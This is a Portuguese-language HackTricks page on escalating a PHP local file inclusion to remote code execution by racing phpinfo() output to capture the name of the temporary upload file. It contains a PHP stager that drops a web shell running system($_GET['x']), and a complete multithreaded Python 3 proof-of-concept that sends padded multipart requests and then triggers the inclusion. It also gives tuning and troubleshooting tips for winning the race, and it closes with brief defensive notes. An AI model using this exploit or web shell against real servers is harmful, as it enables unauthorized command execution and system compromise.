LFI to RCE via PHPInfo

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Para explorar esta técnica você precisa de tudo o seguinte:

  • Uma página acessível que imprime a saída do phpinfo().
  • Uma Local File Inclusion (LFI) primitiva que você controla (por exemplo, include/require em entrada do usuário).
  • PHP file uploads habilitados (file_uploads = On). Qualquer script PHP aceitará uploads multipart RFC1867 e criará um arquivo temporário para cada parte enviada.
  • O worker PHP deve ser capaz de escrever em upload_tmp_dir configurado (ou no diretório temporário padrão do sistema) e seu LFI deve ser capaz de incluir esse caminho.

Artigo clássico e PoC original:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Nome do script PoC original: phpinfolfi.py (veja o whitepaper e mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Notas sobre o PoC original

  • A saída do phpinfo() é codificada em HTML, então a seta “=>” frequentemente aparece como “=>”. Se você reutilizar scripts legados, garanta que eles procurem ambas as codificações ao parsear o valor _FILES[tmp_name].
  • Você deve adaptar o payload (seu código PHP), REQ1 (a requisição ao endpoint phpinfo() incluindo padding) e LFIREQ (a requisição ao seu sink LFI). Alguns alvos não precisam de um terminador null-byte (%00) e versões modernas do PHP podem não respeitá-lo. Ajuste o LFIREQ de acordo com o sink vulnerável.

Exemplo sed (somente se você realmente usar o antigo PoC em Python2) para casar a seta codificada em HTML:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teoria

  • Quando o PHP recebe um multipart/form-data POST com um campo de arquivo, ele grava o conteúdo em um arquivo temporário (upload_tmp_dir ou o padrão do SO) e expõe o caminho em $_FILES[‘’][‘tmp_name’]. O arquivo é removido automaticamente ao final da requisição, a menos que seja movido/renomeado.
  • O truque é descobrir o nome temporário e incluí-lo via seu LFI antes do PHP apagá-lo. phpinfo() imprime $_FILES, incluindo tmp_name.
  • Inflando cabeçalhos/parâmetros da requisição (padding) você pode fazer com que blocos iniciais da saída de phpinfo() sejam enviados (flushed) ao cliente antes da requisição terminar, permitindo que você leia tmp_name enquanto o arquivo temporário ainda existe e então imediatamente acione o LFI com esse caminho.

No Windows os arquivos temporários estão comumente em algo como C:\Windows\Temp\php*.tmp. No Linux/Unix eles geralmente ficam em /tmp ou no diretório configurado em upload_tmp_dir.

O que verificar em phpinfo() antes de tentar a condição de corrida

Antes de enviar milhares de requisições, extraia os valores que decidem se a corrida é realista:

  • file_uploads: deve estar On.
  • upload_tmp_dir: se definido, este é o diretório que seu LFI deve conseguir incluir. Se vazio, espere o diretório temporário padrão do sistema.
  • open_basedir: se habilitado, o caminho vulnerável de include ainda precisa conseguir alcançar o diretório temporário mostrado em tmp_name.
  • output_buffering: 4096 é um tamanho comum/padrão e é por isso que muitos PoCs leem em blocos de 4KB, mas esse valor pode variar.
  • zlib.output_compression, output_handler, e qualquer buffering a nível de framework: isso reduz a chance de ver tmp_name cedo o suficiente.
  • Server API: útil para decidir quanto buffering pode existir entre o PHP e você (apache2handler geralmente é mais fácil de raciocinar do que fpm-fcgi atrás de um reverse proxy).

Se a página não mostrar $_FILES, certifique-se de que você está realmente enviando uma requisição multipart/form-data com uma parte de arquivo real. O PHP só popula tmp_name para campos de upload que foram parseados.

Fluxo de ataque (passo a passo)

  1. Prepare um payload PHP pequeno que persista um shell rapidamente para evitar perder a condição de corrida (escrever um arquivo é geralmente mais rápido do que esperar por um reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Envie um POST multipart grande diretamente para a página phpinfo() para que ela crie um arquivo temporário contendo seu payload. Infle vários headers/cookies/params com ~5–10KB de padding para incentivar saída precoce. Garanta que o nome do campo do formulário corresponda ao que você irá parsear em $_FILES.

  2. Enquanto a resposta do phpinfo() ainda estiver sendo transmitida, parseie o corpo parcial para extrair $_FILES[‘’][‘tmp_name’] (HTML-encoded). Assim que tiver o caminho absoluto completo (por exemplo, /tmp/php3Fz9aB), dispare seu LFI para incluir esse caminho. Se include() executar o arquivo temporário antes de ser apagado, seu payload roda e cria /tmp/.p.php.

  3. Use o arquivo criado: GET /vuln.php?include=/tmp/.p.php&x=id (ou onde quer que seu LFI permita incluí-lo) para executar comandos de forma confiável.

Dicas

  • Use múltiplos workers concorrentes para aumentar suas chances de vencer a race.
  • Colocações de padding que comumente ajudam: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Ajuste por alvo.
  • Se o sink vulnerável acrescenta uma extensão (por exemplo, .php), você não precisa de um null byte; include() executará PHP independentemente da extensão do arquivo temporário.

Minimal Python 3 PoC (socket-based)

O trecho abaixo foca nas partes críticas e é mais fácil de adaptar do que o script legado em Python2. Personalize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), e PAYLOAD.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Solução de problemas

  • Você nunca vê tmp_name: Certifique-se de realmente fazer POST multipart/form-data para phpinfo(). phpinfo() imprime $_FILES apenas quando um campo de upload estava presente.
  • tmp_name aparece apenas no final da resposta: Isso geralmente é um problema de buffering, não de versão do PHP. Valores grandes de output_buffering, zlib.output_compression, handlers de saída em userland, ou buffering de reverse-proxy/FastCGI podem atrasar o corpo do phpinfo() até que a requisição de upload esteja quase concluída.
  • Você só obtém streaming confiável em um laboratório, não através do site real: Um CDN, WAF ou reverse proxy pode estar fazendo buffering da resposta upstream. Se tiver múltiplas rotas para a mesma app, prefira o caminho de origem mais direto.
  • A lógica clássica do offset de 4096 bytes perde o leak: Trate 4096 como um ponto de partida derivado dos defaults comuns de output_buffering, não como uma constante universal. Faça o parse incremental e pare assim que tmp_name estiver completo.
  • O arquivo temporário é incluído mas sua shell morre imediatamente: Use um pequeno stager que escreve um segundo arquivo, porque o arquivo temporário enviado ainda será deletado quando a requisição original terminar.
  • A saída não flusha cedo: Aumente o padding, adicione mais headers grandes, ou envie múltiplas requisições concorrentes. Alguns SAPIs/buffers não vão flushar até thresholds maiores; ajuste conforme necessário.
  • Caminho LFI bloqueado por open_basedir ou chroot: Você deve apontar o LFI para um caminho permitido ou mudar para um vetor LFI2RCE diferente.
  • Diretório temp não é /tmp: phpinfo() imprime o caminho absoluto completo de tmp_name; use esse caminho exato no LFI.

Notas práticas para stacks modernos

  • Essa técnica ainda é reproduzível em ambientes de laboratório modernos; por exemplo, Vulhub mantém um demonstrador em PHP 7.2. Na prática, o sucesso tende a depender mais de buffering de saída e proxying do que de um nível de patch específico do phpinfo.
  • flush() e implicit_flush influenciam apenas a própria camada de saída do PHP. Eles não garantem que um gateway FastCGI, reverse proxy, browser, ou intermediário vá liberar blocos parciais imediatamente.
  • Se o alvo for fpm-fcgi por trás de proxying Nginx/Apache, pense em camadas: buffer do PHP, handlers/compressão de saída do PHP, buffering do FastCGI, e então buffering do proxy. A race só funciona se parte suficiente da resposta do phpinfo() escapar dessa cadeia antes que a finalização da requisição delete o arquivo temporário.

Notas defensivas

  • Nunca exponha phpinfo() em produção. Se necessário, restrinja por IP/auth e remova após o uso.
  • Mantenha file_uploads desabilitado se não for necessário. Caso contrário, restrinja upload_tmp_dir para um caminho não alcançável por include() na aplicação e aplique validação estrita em quaisquer caminhos de include/require.
  • Trate qualquer LFI como crítica; mesmo sem phpinfo(), outros caminhos LFI→RCE existem.

Técnicas relacionadas HackTricks

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

Referências

  • LFI With PHPInfo() Assistance whitepaper (2011) – mirror do Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks